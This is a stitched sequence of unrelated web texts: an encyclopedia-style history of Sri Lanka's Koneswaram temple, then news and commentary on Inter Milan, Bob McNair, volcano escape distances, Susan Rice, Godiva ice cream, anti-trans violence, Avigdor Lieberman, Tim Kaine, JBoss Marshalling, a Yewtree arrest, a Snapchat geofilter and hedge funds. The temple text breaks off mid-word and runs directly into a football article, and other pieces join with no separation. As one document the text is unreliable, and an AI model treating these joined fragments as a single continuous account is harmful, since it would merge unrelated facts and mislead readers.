Pagoda monument was destroyed in 1624. Portuguese drawing/sketch published c. 1650. Location of one of the three Koneswaram temple monuments as Trincomalee was beginning to be fortified by European colonials in 1620. The fort visible is where a colossal monument of the Konesar temple stood on Konesar Malai (Swami Rock) before destruction in 1622; the finalmonument was destroyed in 1624. Portuguese drawing/sketch published c. 1650.
Trincomalee Koneswaram temple compounds [ edit ]
The shrine was known to Europeans as the Pagoda of Trincomalee – Temple of a Thousand Columns. The main shrine was built upon the jagati while its thousand pillared hall was the Aayiram Kaal Mandapam – a distinctly thousand pillared platform close to the vimana of the koil that forms a distinct part of the site plan of classical Dravidian temple architecture. Ruins of this feature at Koneswaram indicate that the hall was a structural addition erected by Pallava artisans, dated between 537–668. It formed one of the nine prakara or major courtyard compounds of the Koneswaram complex. Two other temples were prominent compound monuments on the promontory, containing prolific gopura structures over the shrines built to Vishnu-Thirumal and the goddess Ambal-Shakti. Together, they became known as the Three Pagodas of Thirukonamalai. A site plan by De Quieroz states: "On the first rise to the summit of the rock was a Pagoda, another at mid-ascent, and the principal one of them all at the highest eminence, visited by a concourse of Hindus from the whole of India."[40] In his dispatch to Philip III, King of Portugal, Constantine described: "The land of the Pagoda is 600 fathoms long (1.2 km) and 80 feet at its broadest, narrowing to 30 feet."[51] The complex stretches across Konesar Road off the promontory, and includes shrines to Ganesh, Murukan and Bhadrakali. Koneswaram of Konesar Malai is located 152 kilometres (94.4 mi) directly east from Kudiramalai, the ancient royal district and southern pearl-bank emporium of the Thiru Ketheeswaram temple, Mannar. Koneswaram lies on a straight diagonal path connected to Ketheeswaram and another former Jaffna temple and Paadal Petra Sthalam Ramanathaswamy Temple, Rameswaram. This pilrimage path of 225 km (140 mi) is often traversed by foot according to Hindu custom. The complex also lies on exactly the same longitude as Mount Kailash.
Deities of the complex [ edit ]
In line with custom of Tamil Hindu temple compounds, the complex houses shrines to several deities. Koneswaram is the easternmost shrine of the 5 ancient Iswarams of Lord Shiva on the island, the others being Naguleswaram (Keerimalai), Thiruketheeswaram (Mannar), Munneswaram (Chilaw) and Tenavaram (Tevan Thurai).[21] Koneswaram has attracted thousands of pilgrims from across Asia, its Shiva shrine mentioned in the Ramayana and the Mahabharata written from 400–100 B.C. describe at length its attraction to pilgrims from many countries and from 600—660, it has been glorified as one of 275 Shiva Sthalams, or holy Shiva dwellings on the continent in Tevaram.[21] Swami Rock is heralded as a Shiva Upa Peetha (base) of Lanka in the Sivacharita, a Sanskrit work in praise of Shiva, and subsequent manuscripts of the Pithanirnaya (Maha Piitha Nirupana) as a general Sakta Peetha of Lanka with a temple of the compounds dedicated to the goddess Indraksi Devi and a male deity Raksasesvara – a reference to Ravana. Kullakottan reconstructed the Three Pagodas of Thirukonamalai, the other two dedicated to Vishnu-Thirumal and that of the Mother-Goddess (Tirukkamakkottam – a consort of Shiva) on the promontory over a far greater area than at present.[50] This latter temple to the goddess – Ambal/Uma/Shakti/Shankari Devi – was one of the 18 Maha Shakthi Peethas, those Shakti Peethas consecrated to the goddess which are mentioned in the Ashta Dasa Shakthi Peetha Stotram by the Hindu philosopher Adi Shankara (788—820).[93][94] The Vishnu-Thirumal temple was likely the first temple encountered on the promontory – and is mentioned in Oud en Nieuw Oost-Indiën written in 1726 by François Valentijn.[52] The temple closest to the sea end was likely that dedicated to the goddess, where the current reconstructed Shiva temple stands. Smaller shrines within the complex to Ganesh, Durga, Murukan, Agastya, and the Navagraha including the sun god Surya would have been customary near the main shrine in the centre to Shiva – the Murukan shrine is hailed at large in the Thiruppugazh series of Arunagirinathar.[3] The temple to Bhadrakali is located further along in the complex inland along Konesar Road, benefitted from Rajendra Chola I.[20] The Kali temple is mentioned in the book Birds of Prey (1997) by Wilbur Smith, set in the 1660s. The Thirukonasala Mahatyam, describing the origins of the world, Lanka and Koneswaram based on puranic legends is now lost. The historical literature Mattakallappu Manmiyam (Batticaloa Manmiyam) that chronicles the history of Tamil settlement in Batticaloa, follows the Dakshina Kailasa Puranam and Dakshina Kailasa Manmiam in describing Koneswaram as one of the nine most important and sacred sites in the world for all Hindus.[6]
Twentieth-century restored Koneswaram temple [ edit ]
The statue of Lord Shiva was reconstructed in 2018.[95]
Festivals [ edit ]
Coloured necklaces on sale at Koneswaram
The Koneswaram temple is well known for its celebration of the traditional Ther chariot festival, the Navaratri and Sivarathri functions. The Ther Chariot Festival lasts for twenty two days in April and focuses on preparing the deities and the community for Puthandu, the Tamil New Year. Navaratri lasts for nine days and is dedicated to various aspects of the presiding goddess, whereas Sivarathri is dedicated to Siva. Devotees visit the temple to attend the daily pujas and make their offerings. Booths are erected outside for the sale of food, drink, brassware, pottery, cloth and holy images. These functions primarily attract Hindus to the temple.
The main Thirukoneswaram Ther Thiruvilah Festival, the twenty-two-day annual chariot festival begins with the hoisting of the temple Nandi flag. This is followed by temple processions of Lord Konesar and his consort Mathumai Ambal, installed and pulled in an ornate chariot temple car while deities Pillayar and Murugan with his two consorts Valli and Theivayanai are taken ahead in two other decorated chariots. This is conducted throughout Trincomalee district, and follows Kulakottan's stone scriptures detailing how Hindus in Tamil villages like Sambaltivu, lands which historically belonged to the temple, are entitled to hold poojahs as their Upayam during the annual festival period. Until April 1624 the Koneswaram Ther Festival occurred around Puthandu in April annually with five chariots and this tradition was reintroduced in April 2003, three hundred and seventy nine years later.[96] The water-cutting Theertham Thiruvilah festival (holy bath) takes place annually in the centuries-old Papanasachunai holy well (Papanasam Theertham) on Swami Rock during the Ther festival period. The deity and other holy artefacts are bathed in the water of the well in the complex's sacred precincts. Devotees are sprayed with the holy water following the Theertham.[96][97] The Theppath Thiruvilah Boat Festival consists of Lord Konesar and goddess Mathumai Ambal taken in a boat around the temple from Swami Rock via the Back Bay Sea to the Dutch Bay Sea. Religious discourses and cultural items take place throughout the night before Puthandu at the Dutch Bay Sea beach. Thereafter the deities are taken to the temple early morning the next day on Puthandu by road through the Fort Frederick entrance. The Trincomalee Bhadrakali Amman Temple and other Hindu temples have held their water-cutting Theertham festivals in the Back Bay Sea (Theertha Kadatkarai) for several centuries.[98] The Koneswaram Poongavanam Festival – the Temple Garden Festival is held during this twenty-two-day festival period.
An annual three-day procession follows Maha Sivarathri Day, observed every year since 1951 following the rediscovery of the bronze idols in 1950. Occurring in three stages, on each day of the festival, the images of the chief deity Konesar, the presiding consort goddess Mathumai Amman, Ganesh and Murugan are brought from Swami Rock to the entrance of Fort Fredrick in decorated Ther temple cars before being paraded through the whole Periyakadai of the Trincomalee town. The chariot cars are pulled by devotees through a decorated route while singing hymns. Devotees hold Poorna kumbham outside their houses along the route and worship as the procession moves. On the second day of the festival there is a procession to the Pathirakalai Ambal Temple where the images are kept for the evening. On the final day of the festival, the large chariots are pulled back to Koneswaram along a route through Trincomalee, accompanied by traditional Nadeswaram and Thavil musicians.[99][100]
Legends [ edit ]
Main shrine of Brihadeeswarar Temple Main shrine of Prambanan temples to Shiva Main shrine of Konark Sun Temple Main shrine of Jagannath Temple [77][101][102] The Brihadeeswarar Temple, Tanjore (left) has a vimana tower that is 216 ft (66 m) high, a classical example of Dravidian architecture that inspired the shrines of the Prambanan temple compounds, Indonesia, which contains a 154 ft (47m) high central shrine to Shiva (middle left) the Konark Sun Temple with a 229-foot tall tower (middle right) and Jagannath Temple, Puri (right). Each temple shrine on the Koneswaram promontory extremity contained tall gopuram towers by Chola rule of Trincomalee and Chidambaram's expansion that escalated the building of those syncretic latter styles of Dravidian architecture seen across the continent.
According to one Hindu legend, Shiva at Koneswaram was worshipped by Indra, king of the gods.
King Ravana of the epic Ramayana and his mother are believed to have worshiped Lord Shiva in the sacred lingam form at Koneswaram circa 2000 B.C.; the cleft of Swami Rock is attributed to Ravana's great strength.[6][21] According to this tradition, his father-in-law Maya built the Ketheeswaram temple in Mannar. Ravana is believed to have brought the swayambhu lingam in the temple to Koneswaram, one of sixty-nine such lingams he carried from Mount Kailash.
Iconography of Ravana, the mythical king of Lanka depicted on the temple walls
With the legend of the smiling infant, James Emerson Tennent describes "one of the most graceful" of the Tamil legends connected to the Temple of the Thousand Columns atop Swami Rock. An oracle had declared that over the dominions of one of the kings of the Deccan impended a great peril which could only be averted by the sacrifice of his infant daughter, who was committed to the sea on an ark of sandalwood, eventually reaching the island, south of Trincomalee at a place that in the mid 19th century was still called ’’Pālanakai’’ (smiling infant), current Panagai. After being adopted by the king of the district, she succeeded over his dominions. Meanwhile, the Hindu prince Kullakottan, having ascertained from the Puranas that the rock of Trincomalee was the holy fragment Koneiswara parwatia of the golden mountain of Meru, hurled there during a conflict between gods, arrived at Swami Rock and constructed a temple of Shiva. The princess, hearing of his arrival, initially dispatched an army to expel him, but ended up marrying the prince to end the war, and later attached vast rice fields of Thampalakamam and built the great Kantalai tank to endow the temple and irrigate the surrounding plain. Upon her death, the prince shut himself inside the pagoda of Swami rock, and was later found translated into a golden lotus on the Shiva altar.[4][23]
The Dak |
derail their season like the Lazio loss did in 2015/16.
It’s time to see what Spalletti’s Inter are really made of. Their next three matches are against Sassuolo (away), AC Milan (in the Coppa Italia), and Lazio in the final match of 2017. A positive, and winning, response from Inter would go a long way in proving that they’ve truly turned the corner mentally under Spalletti. Dropping points and crashing out of the Coppa would diminish all the positive strides Inter have taken so far this season.
This is the first time we’ll see Inter respond to a loss under their new manager. How they handle the adversity will speak volumes.
he who falls and gets back up is stronger than he who never falls. #InterUdinese ⚫ — Serpents of Madonnina (@SerpentsOfInter) December 16, 2017
A possible blessing in disguise for Inter
With Napoli defeating Torino on Saturday, Inter’s time atop the Serie A came to an abrupt end. As disappointing as that is, Inter falling to second or third in the league could wind up being blessing in disguise if they have the right response.
When a club is in first place, there’s undoubtedly more pressure on the squad, be it fair or not. With Inter falling a spot or two in the league table, Spalletti and his players can move forward without being under the microscope that comes with “league-leaders” status. This could allow Inter the opportunity to regroup, and just focus on playing their football.
The stated ambition for the club this season was to qualify for the Champions League, a realistic goal when you consider Inter’s squad. If Saturday’s loss, and the fact that they’re no longer unbeaten, calms the talk of Inter winning the Scudetto this season, maybe it wasn’t the worst result after all.
Do you have any other takeaways from Saturday’s match? Share in the comments below.Houston lawmakers respond to Texans owner Bob McNair's 'inmate' comment
Houston-area lawmakers and civil rights leaders on Friday slammed comments made by Houston Texans owner Robert McNair in which he said the NFL "can't have the inmates running the prison" when discussing ongoing protests by players.
Leaders also said they were against a proposed statue of the Texans owner to be built at NRG Stadium.
They also said McNair's comments were not an isolated incident, but a part of a long-ongoing treatment of African American athletes as "commodities."
"This does not go to the Texans only," said Rep. Sheila Jackson Lee, citing her work with the NFL on concussions and anti-trust issues. "It troubles me that for all that period of time, the owners considered these young men something less than human beings. It troubles me that they are in fact a commodity."
Texans owner Bob McNair apologized today for saying "We can't have the inmates running the prison" during a closed-door NFL meeting Oct. 12.
"I regret that I used that expression," McNair said in statement released on Friday. "I never meant to offend anyone and I was not referring to our players. I used a figure of speech that was never intended to be taken literally. I would never characterize our players or our league that way and I apologize to anyone who was offended by it."
FILE -In this Dec. 10, 2014 file photo Houston Texans owner Bob McNair speaks at an NFL press conference during an owners meeting, in Irving, Texas. At left is NFL commissioner Roger Goodell. McNair has apologized after a report said he declared âwe can't have the inmates running the prisonâ during a meeting of NFL owners over what to do about players who kneel in protest during the national anthem. (AP Photo/Brandon Wade, File) less FILE -In this Dec. 10, 2014 file photo Houston Texans owner Bob McNair speaks at an NFL press conference during an owners meeting, in Irving, Texas. At left is NFL commissioner Roger Goodell. McNair has... more Photo: Brandon Wade/Associated Press Photo: Brandon Wade/Associated Press Image 1 of / 1 Caption Close Houston lawmakers respond to Texans owner Bob McNair's 'inmate' comment 1 / 1 Back to Gallery
RELATED: Bob McNair apologizes for 'inmates' comment
Rep. Al Green meanwhile said McNair's comments - and others like it - are indicative of worsening racial discord that he said has been fueled by President Donald Trump.
McNair gave $1 million to Trump's inaugural committee, which received a total $7.5 million from owners of NFL teams, according to public records.
"Mr. McNair is but one symptom of a greater problem," Green said at a press conference held by the Houston chapter of the NAACP. "This president is bringing the level of discourse to a level that is intolerable and unacceptable."
"It's about a president who by his words, deeds and actions has caused people to move toward xenophobia, toward nativism, toward sexism, toward hatred and bigotry," he said before again vowing to bring a vote to impeach the president to the floor of Congress.
Others said they did not accept McNair's apology for his comment, which they said misunderstood the original purpose of protests by NFL players of racial injustice and the killing by police of unarmed African Americans, among other issues.
"NFL players are protesting inequality in our country," Harris County Precinct One Commissioner Rodney Ellis said in a statement. "When their employer responds by calling them inmates in a prison, he not only shows why the protests are needed, he shows that he hasn't even thought about the meaning behind their protest."
"It doesn't matter if Bob McNair meant to offend anybody or not, it matters that he chose those words to describe his employees and didn't think about why it would be a problem," Ellis said.
"Going forward, I would encourage him to think a little less about the business impact of President Trump's Twitter insults and more about the inequalities that his own players are protesting."Outrunning a volcano is good fodder for an action scene in a movie (or mediocre fodder if we're talking Volcano or Dante's Peak), but the reality of it is a little different. But only slightly! Research published this week in Nature Communications seems to indicate that racing away from a killer volcano might actually be doable...if you were in the right place, that is.
At ground zero, you'd be fried by a sudden eruption. But analysis of the Peach Springs Tuft in Arizona shows a different picture, as Wired points out. That 18-million-year-old eruption was huge, with a main impact site of 13.6 miles, and thick deposits of debris in a 105 mile area. The main eruption site would probably vaporize or severely burn you. Sorry. But at about 93 miles out, people in the area could have up to 10 hours to get out, assuming no accidents or traffic jams.
So if you plan to move to Wyoming but are scared of the supervolcano suddenly exploding, your best bet is about 100 miles out from the Yellowstone site. Otherwise, your chances of survival go way, way down. Wired also mentions, however, that this study focused on the Tuft eruption, and that it may not work in every case. So...maybe choose 200 miles.
Source: Nature Communications via WiredTwo MSNBC personalities on Tuesday night said former national security adviser Susan Rice’s race and gender may be factors in the criticism she is taking from Republicans over the unmasking of two of President Trump's transition team members mentioned in intelligence documents.
MSNBC host Chris Matthews and Mother Jones editor David Corn offered the comments in response to remarks by Sen. Rand Paul Randal (Rand) Howard PaulThe Hill's Morning Report — Emergency declaration to test GOP loyalty to Trump The Hill's 12:30 Report: Trump escalates fight with NY Times The 10 GOP senators who may break with Trump on emergency MORE (R-Ken.) and Rep. Tom Cotton Thomas (Tom) Bryant CottonHillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators Key senators say administration should ban Huawei tech in US electric grid Inviting Kim Jong Un to Washington MORE (R-Okla.).
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Paul on Tuesday said the former Obama administration official should testify under oath to address multiple reports that she had unmasked the identities of Americans associated with the Trump campaign and transition team.
Cotton referred to Rice as the “Typhoid Mary of the Obama Administration foreign policy.”
“Every time something went wrong, she seemed to turn up in the middle of it,” Cotton said of Rice during an Tuesday interview with conservative radio host Hugh Hewitt.
Corn said there is not “an iota of evidence that she's abused anything” on Tuesday night’s “Hardball,” which is hosted by Matthews.
“Calling her Typhoid Mary? All we know now is that she did her job,” he continued.
“Did she do something wrong? There is no information indicating that. So they are making her, you know, basically they're defaming her without any reason to do so because she's a woman. Maybe because she's a black woman. Maybe because they didn't like her during Benghazi.”
Rice found herself at the center of controversy in 2012 when she made a series of appearances on all five Sunday morning talk shows to discuss the Benghazi terrorist attacks that left four Americans dead. Rice cited an anti-Islam YouTube video as the reason behind the terrorist attack, a now discredited claim.
Earlier in the segment, Matthews also cited Rice's gender as a possible motive behind the criticism.
“Notice it's always a female? Just a thought,” observed Matthews, a former speechwriter under President Carter.
Rice told MSNBC's Andrea Mitchell on Tuesday that the Obama administration did not inappropriately spy on Trump or members of his transition team.
She said that any unmasking of unidentified people in intelligence reports was done as part of her job, denying that politics were involved.
“The allegation is that somehow, Obama administration officials utilized intelligence for political purposes,” Rice said. “That’s absolutely false."
Republicans have repeatedly expressed outrage about leaks related to investigations of Russia’s meddling in the 2016 presidential election and possible links between Russia and the Trump administration.
Democrats have accused the Trump administration of raising the issues surrounding Rice to take attention away from the Russia probe.Just when you thought Godiva couldn’t get any better, it’s now available in a frozen, creamy form. Godiva has announced that they will be launching Godiva soft-serve ice cream at select retail outlets. The ice cream will be made with Godiva Belgian chocolate (of course), and is available in Dark Chocolate, White Chocolate Vanilla Bean, and Swirl. You can get your ice cream in a variety of waffle cones, dipped in either milk or dark chocolate, or in a regular five-ounce cup for $6 each.
“There is something incredibly nostalgic about enjoying soft serve on a hot day,” said Michelle Chin, vice president, North America marketing, Godiva Chocolatier. “And by adding our premium Belgian chocolate in a beautifully dipped cone to this tried and true summer treat, we have elevated the Soft Serve experience for chocolate lovers everywhere.”
Godiva has been selling regular ice cream by the pint in select grocery stores for several years now, including flavors like chocolate with chocolate hearts, and white chocolate macadamia nut. But this is their first foray into the world of soft-serve.
Joanna Fantozzi is an Associate Editor with The Daily Meal. Follow her on Twitter @JoannaFantozziEmail Share +1 2K Shares
Amid a record number of anti-trans murders throughout the country, Sen. Al Franken (D-Minn.) is seeking answers from the Obama administration on reporting of the violence and the extent to which the federal government is working with local authorities.
In a letter dated Oct. 21, the junior senator from Minnesota calls on U.S. Attorney General Loretta Lynch and FBI Director James Comey to take action.
“I write to express serious concern about the alarming number of homicides and violent crimes targeting transgender and gender nonconforming people,” Franken writes. “I strongly urge the U.S. Department of Justice to work with state and local authorities in the investigation and prosecution of these incidents, and to redouble its efforts to ensure the accurate reporting of all bias-motivated crimes.”
Franken takes note of Zella Ziona, who was shot to death in Maryland last week and became the 21st trans murder victim this year. The Washington Blade reported investigators believe she may have been shot after she approached the suspect in public and embarrassed him in front of his friends. A prosecutor told the Blade subsequently that Ziona and the suspect were romantically involved.
Taking note that police and some media reports misidentified Ziona as male, Franken says federal law doesn’t require state or local authorities to report incidents of anti-trans violence. The senator calls for an update on the Justice Department’s work on tracking bias-motivated crime, saying underreporting anti-trans violence “obscures the threats many of our citizens endure every day.”
“I applaud the Department of Justice and the FBI for their enforcement efforts to date, as well as the Department’s work to train federal, state, and local law enforcement officers to respond appropriately and effectively to reports of bias-motivated violence,” Franken said. “However, accurate data on the frequency and severity of attacks is needed in order to direct prevention and enforcement efforts to the jurisdictions most in need of assistance.”
The senator also calls on the Justice Department to work closely with local authorities to investigate and prosecute hate crimes against transgender people as prescribed by the federal hate crimes law signed by President Obama in 2009.
“There are indications that distrust in law enforcement among LGBT communities, and inaccurate or disrespectful reporting regarding transgender victims, have been barriers to investigations,” Franken writes. “The Department should develop a model policy for law enforcement agencies on interactions with LGBT and gender nonconforming individuals and guidance on public communications regarding crimes against members of the transgender community.”
Michael Silverman, executive director of the New York-based Transgender Legal Defense & Education Fund, applauded Franken in a statement to the Washington Blade for calling on the Obama administration to take action.
“Measures must be put in place to track anti-transgender hate crimes at the state and local level,”Silverman said. “We urge implementation of a model policy to help law enforcement treat transgender people with the dignity and respect they deserve, and to communicate with the public appropriately about transgender people when they are the victims of hate crimes.”
A spokesperson for the FBI confirmed the agency received the letter, but declined further comment.
The Blade has placed a call to the Justice Department to respond to Franken’s letter.Avigdor Lieberman, Israel’s far-right foreign minister, set out last week what he called a “blueprint for a resolution to the conflict” with the Palestinians that demands most of the country’s large Palestinian minority be stripped of citizenship and relocated outside Israel’s future borders.
Warning Israel faced growing diplomatic pressure for a full withdrawal to the Green Line, the pre-1967 border, Lieberman said that, if such a partition were implemented, “the conflict will inevitably pass beyond those borders and into Israel.”
He accused many of Israel’s 1.3 million Palestinian citizens of acting against Israel while their leaders “actively assist those who want to destroy the Jewish state.”
Lieberman’s Yisrael Beiteinu party campaigned in last year’s elections on a platform of “No loyalty, no citizenship” and has proposed a raft of loyalty laws over the past year targeted at the Palestinian minority.
True peace, the foreign minister claimed, would come only with land swaps, or “an exchange of populated territories to create two largely homogeneous states, one Jewish Israeli and the other Arab Palestinian.” He added that under his plan “those Arabs who were in Israel will now receive Palestinian citizenship.”
Unusually, Lieberman, who is also deputy prime minister, offered his plan in a commentary for the English-language Jerusalem Post daily newspaper, apparently in an attempt to make maximum impact on the international community.
He has spoken repeatedly in the past about drawing the borders in a way to forcibly exchange Palestinian communities in Israel for the Jewish settlements in the West Bank.
But under orders from Benjamin Netanyahu, the prime minister, he has kept a relatively low profile on the conflict’s larger issues since his controversial appointment to head the foreign ministry more than a year ago.
In early 2009, Lieberman, who lives in the West Bank settlement of Nokdim, upset his own supporters by advocating the creation of “a viable Palestinian state,” though he has remained unclear about what it would require in practice.
Lieberman’s revival of his “population transfer” plan — an idea he unveiled six years ago — comes as the Israeli leadership has understood that it is “isolated like never before,” according to Michael Warschawski, an Israeli analyst.
Netanyahu’s government has all but stopped paying lip service to US-sponsored “proximity talks” with the Palestinians after outraging global public opinion with attacks on Gaza 18 months ago and on a Gaza-bound aid flotilla four weeks ago in which nine peace activists were killed.
Israel’s relations with the international community are likely to deteriorate further in late summer when a 10-month partial freeze on settlement expansion in the West Bank expires. Last week, Netanyahu refused to answer questions about the freeze, after a vote by his Likud party’s central committee to support renewed settlement building from late September.
Other looming diplomatic headaches for Israel are the return of the Goldstone report, which suggested Israel committed war crimes in its attack on Gaza, to the United Nations General Assembly in late July, and Turkey’s adoption of the rotating presidency of the Security Council in September.
Warschawski, a founder of the Alternative Information Center, a joint Israeli-Palestinian advocacy group, said that, faced with these crises, Israel’s political elite had split into two camps.
Most, including Lieberman, believed Israel should “push ahead” with its unilateral policies towards the Palestinians and refuse to engage in a peace process regardless of the likely international repercussions.
“Israel’s ruling elite knows that the only solution to the conflict acceptable to the international community is an end to the occupation along the lines of the Clinton parameters,” he said, referring to the two-state solution promoted by former US president Bill Clinton in late 2000.
“None of them, not even Ehud Barak [the defense minister and head of the centrist Labor Party], are ready to accept this as the basis for negotiations.”
On the other hand, Tzipi Livni, the head of the center-right opposition Kadima party, Warschawski said, wanted to damp down the international backlash by engaging in direct negotiations with the Palestinian leadership in the West Bank under Mahmoud Abbas.
Lieberman’s commentary came a day after he told Livni that she could join the government only if she accepted “the principle of trading territory and population as the solution to the Palestinian issue, and give up the principle of land for peace.”
Lieberman is reportedly concerned that Netanyahu might seek to bring Livni into a national unity government to placate the US and prop up the legitimacy of his coalition.
The Labor Party has threatened to quit the government if Kadima does not join by the end of September, and Livni is reported to want the foreign ministry.
Lieberman’s position is further threatened by a series of corruption investigations.
However, he also appears keen to take the initiative from both Washington and Livni with his own “peace plan.” An unnamed aide to Lieberman told the Jerusalem Post that, with a vacuum in the diplomatic process, the foreign minister “thinks he can convince the government to adopt the plan.”
However, Warschawski said there were few indications that Netanyahu wanted to be involved in any peace process, even Lieberman’s.
Last week Uzi Arad, the government’s shadowy national security adviser and a long-time confidant of Netanyahu, made a rare public statement at a meeting of the Jewish Agency in Jerusalem to attack Livni for “political adventurism” and believing in the “magic” of a two-state solution.
Apparently reflecting Netanyahu’s own thinking, he said: “The more you market Palestinian legitimacy, the more you bring about a detraction of Israel’s legitimacy in certain circles. [The Palestinians] are accumulating legitimacy, and we are being delegitimized.”
Warschawski doubted that Lieberman believed his blueprint for population exchanges could be implemented but was promoting it chiefly to further damage the standing of Israel’s Palestinian citizens and advance his own political ambitions.
In his commentary, Lieberman said the international community’s peace plan would lead to “the one-and-a-half to half state solution”: “a homogeneous, pure Palestinian state,” from which Jewish settlers were expelled, and “a binational state in Israel,” which included many Palestinian citizens.
Palestinians, in both the territories and inside Israel, he said, could not “continue to incite against Israel, glorify murder, stigmatize Israel in international forums, boycott Israeli goods and mount legal offensives against Israeli officials.”
International law, he added, sanctioned the partition of territory in which ethnic communities were broken up into different states, including in the case of the former Yugoslavia. “In most cases there is no physical population transfer or the demolition of houses, but creating a border where none existed, according to demographics,” he wrote.
Surveys have shown that Palestinian citizens are overwhelming opposed to “population transfer” schemes like Lieberman’s.
Critics note that Lieberman has failed to show how the many Palestinian communities inside Israel that are located far from the Green Line could be incorporated into a Palestinian state without expulsions.
Legal experts also point out that, even if Israel managed to trade territory as part of a peace agreement, stripping Palestinians of their Israeli citizenship as a result of such a deal would violate international law.
Jonathan Cook is a writer and journalist based in Nazareth, Israel. His latest books are Israel and the Clash of Civilisations: Iraq, Iran and the Plan to Remake the Middle East (Pluto Press) and Disappearing Palestine: Israel’s Experiments in Human Despair (Zed Books). His website is www.jkcook.net.
A version of this article originally appeared in The National, published in Abu Dhabi.“I’ve eaten the last meal, and I’ve held the guy’s hand, and I’ve been to the Supreme Court, and I’ve been to the protests, and I know this very, very well,” he said. “And because of that, it was kind of demystified.”
Mr. Kaine was a new associate at a Richmond law firm, specializing in civil litigation but eager to carve out a portfolio in civil rights, in the mid-1980s when he took the first of two pro bono capital punishment cases he would handle. His client was Richard Lee Whitley, convicted of murder for strangling and slitting the throat of an elderly female neighbor, and then sexually assaulting her corpse, after an alcohol and drug binge.
It was “not a sympathetic case,” but Mr. Kaine, driven by his faith, “was extremely passionate about it,” said his co-counsel, Tom Wolf, later Mr. Kaine’s law partner and close friend. “He said there were a lot of people on death row who hadn’t had a fair trial, and there were not nearly enough lawyers willing to take those cases.”
Virginia’s Supreme Court declined to block the execution, so Mr. Kaine turned to the federal courts. He argued that Mr. Whitley had not received a fair trial, because his court-appointed lawyer had failed to investigate or introduce evidence of the psychological damage Mr. Whitley had suffered as a child.
The judges, Mr. Wolf said, “didn’t buy it.”
Neither did the Supreme Court, which rejected Mr. Kaine’s request for a stay after Virginia’s governor, Gerald L. Baliles, refused a petition for clemency. On July 6, 1987, Mr. Whitley was executed in the electric chair. Mr. Kaine did not witness it — Mr. Whitley did not want him to, a Kaine aide said — but was intent on being with him in the hours before his death. Along with a priest, they shared Mass and the condemned man’s last meal.
“I’m certain that Tim felt very close to him,” Mr. Wolf said. “It was important to him to let Richard know that he was there for him, no matter what, and that he wasn’t just filing papers for him, but that he regarded Richard as a valuable human being.”About JBoss Marshalling
JBoss Marshalling is an alternative serialization API that fixes many of the problems found in the JDK serialization API while remaining fully compatible with java.io.Serializable and its relatives, and adds several new tunable parameters and additional features, all of which are pluggable via factory configuration (externalizers, class/instance lookup tables, class resolution, and object replacement, to name a few).
This framework was inspired by the need for certain features unavailable with the standard Object*Stream classes:
Pluggable class resolvers, making it easy to customize classloader policy, by implementing a small interface (rather than having to subclass the Object*Stream classes)
classes) Pluggable object replacement (also without subclassing)
Pluggable predefined class tables, which can dramatically decrease stream size and serialization time for stream types which frequently use a common set of classes
Pluggable predefined instance tables, which make it easy to handle remote references
Pluggable externalizers which may be used to serialize classes which are not Serializable, or for which an alternate strategy is needed
, or for which an alternate strategy is needed Customizable stream headers
Each marshaller instance is highly configurable and tunable to maximize performance based on expected usage patterns
A generalized API which can support many different protocol implementations, including protocols which do not necessarily provide all the above features
Inexpensive instance creation, beneficial to applications where many short-lived streams are used
Support for separate class and instance caches, if the protocol permits; useful for sending multiple messages or requests with a single stream, with separate object graphs but retaining the class cacheA PROMINENT Australian entertainer has been arrested by Scotland Yard detectives in London on suspicion of sexual offences.
The high-profile 82-year-old Australian man from Berkshire in south east England was interviewed for several hours by police before being released on bail about 11.30pm local time.
It is understood his lawyer was present.
The man, who cannot be named for legal reasons, is the 11th suspect but the biggest star so far arrested by officers from Operation Yewtree set up last year to probe hundreds of claims of sexual assault and paedophilia against British entertainer Jimmy Savile.
Police yesterday confirmed the arrest was not directly linked to Savile, who died aged 84 in 2011, but one of two other Yewtree offshoots related to alleged sexual misconduct by other high profile stars.
A Metropolitan Police spokesman said the man had been bailed, pending further inquiries, to appear before police again in May.
“In a general sense I can say we are only likely to confirm something like that after it takes place,” he said, adding security of witnesses was paramount.
Legal sources have said the allegations included contemporary claims related to the 1980s and 1990s. Most of the claims being probed by Yewtree relate to the 1960s and 1970s.
The entertainer was first interviewed “under caution” by British police on November 29 following a search of his home, about an hour west of London. It is understood they have since been trying to identify potential victims.
The man’s London-based agent could not be contacted yesterday.
His manager and brother also refused to talk about the arrest.
Asked if he had anything to say on his younger brother's behalf, the man said: "No I haven't, thank you.''
Late last year a friend of the Australian married father said his mate was “almost suicidal” over his being interviewed by police for alleged sexual offences which he described as being a slur and based only on guilt by association since he knew Savile, who has since been branded one of Britain’s worst serial child sexual abusers with up to 450 victims as young as nine years old over a five decade period.
Others arrested by Yewtreee include former pop star Gary Glitter, high profile comedians Freddie Starr and Jim Davidson, PR guru to the stars Max Clifford, former It’s a Knock Out Star Stuart Hall and DJ Dave Lee Travis.
They have all denied any wrongdoing, except for Glitter, who has not made a statement.
Police this week told BBC producer Wilfrid De’ath he was no longer facing charges after a woman who initially claimed he groped her withdrew her complaint. He is the only suspect where the Crown Prosecution Service has made a decision on.
Yesterday the media in the UK which has followed the case of the Australian closely were also not naming the star but were camped outside his riverfront home seeking a comment.A conservative nonprofit is using Snapchat to hover over the House Democratic Caucus issue conference this week.
American Action Network, which is the sister organization of the the Congressional Leadership Fund GOP-bolstering super PAC, will run a geofilter on Snapchat during the Democrats’ retreat in Baltimore.
The geofilter, which will surround the Democrats’ conference until Friday, displays a “404 Error” sign with the caption “Obamacare Coverage Not Found” at the top. At the bottom, the geofilter has the web address to AAN’s health care site and reads:
“Why is your cell phone coverage better than Americans’ health care coverage?”
Check out the geofilter below:
“We are sending pro-Obamacare supporters a clear message: Obamacare is collapsing and Americans deserve relief,” AAN Executive Director Corry Bliss said in a statement. “Whether it’s canceled plans, fewer options, or skyrocketing premiums, Americans are sick of Obamacare’s failures. Nancy Pelosi and liberals forced this flawed law through Congress and it’s time they work to fix it.”
AAN will also run a mobile billboard around the hotel location of the Democrats’ retreat.
Snapchat geofilters have become a standard for political campaigns and groups hoping to playfully jab their opponents.
In September, Donald Trump’s presidential campaign bought a nationwide geofilter targeting Democratic Party nominee Hillary Clinton, which ran during the day of the first presidential debate.
The Trump campaign’s geofilter referred to Clinton as “Crooked Hillary” and ran across the entire U.S., which was the first of its kind by a political campaign.Hedge funds on average returned just 3.5 percent this year through May, less than half the gain of the S&P 500, according to calculations from Hedge Fund Research.
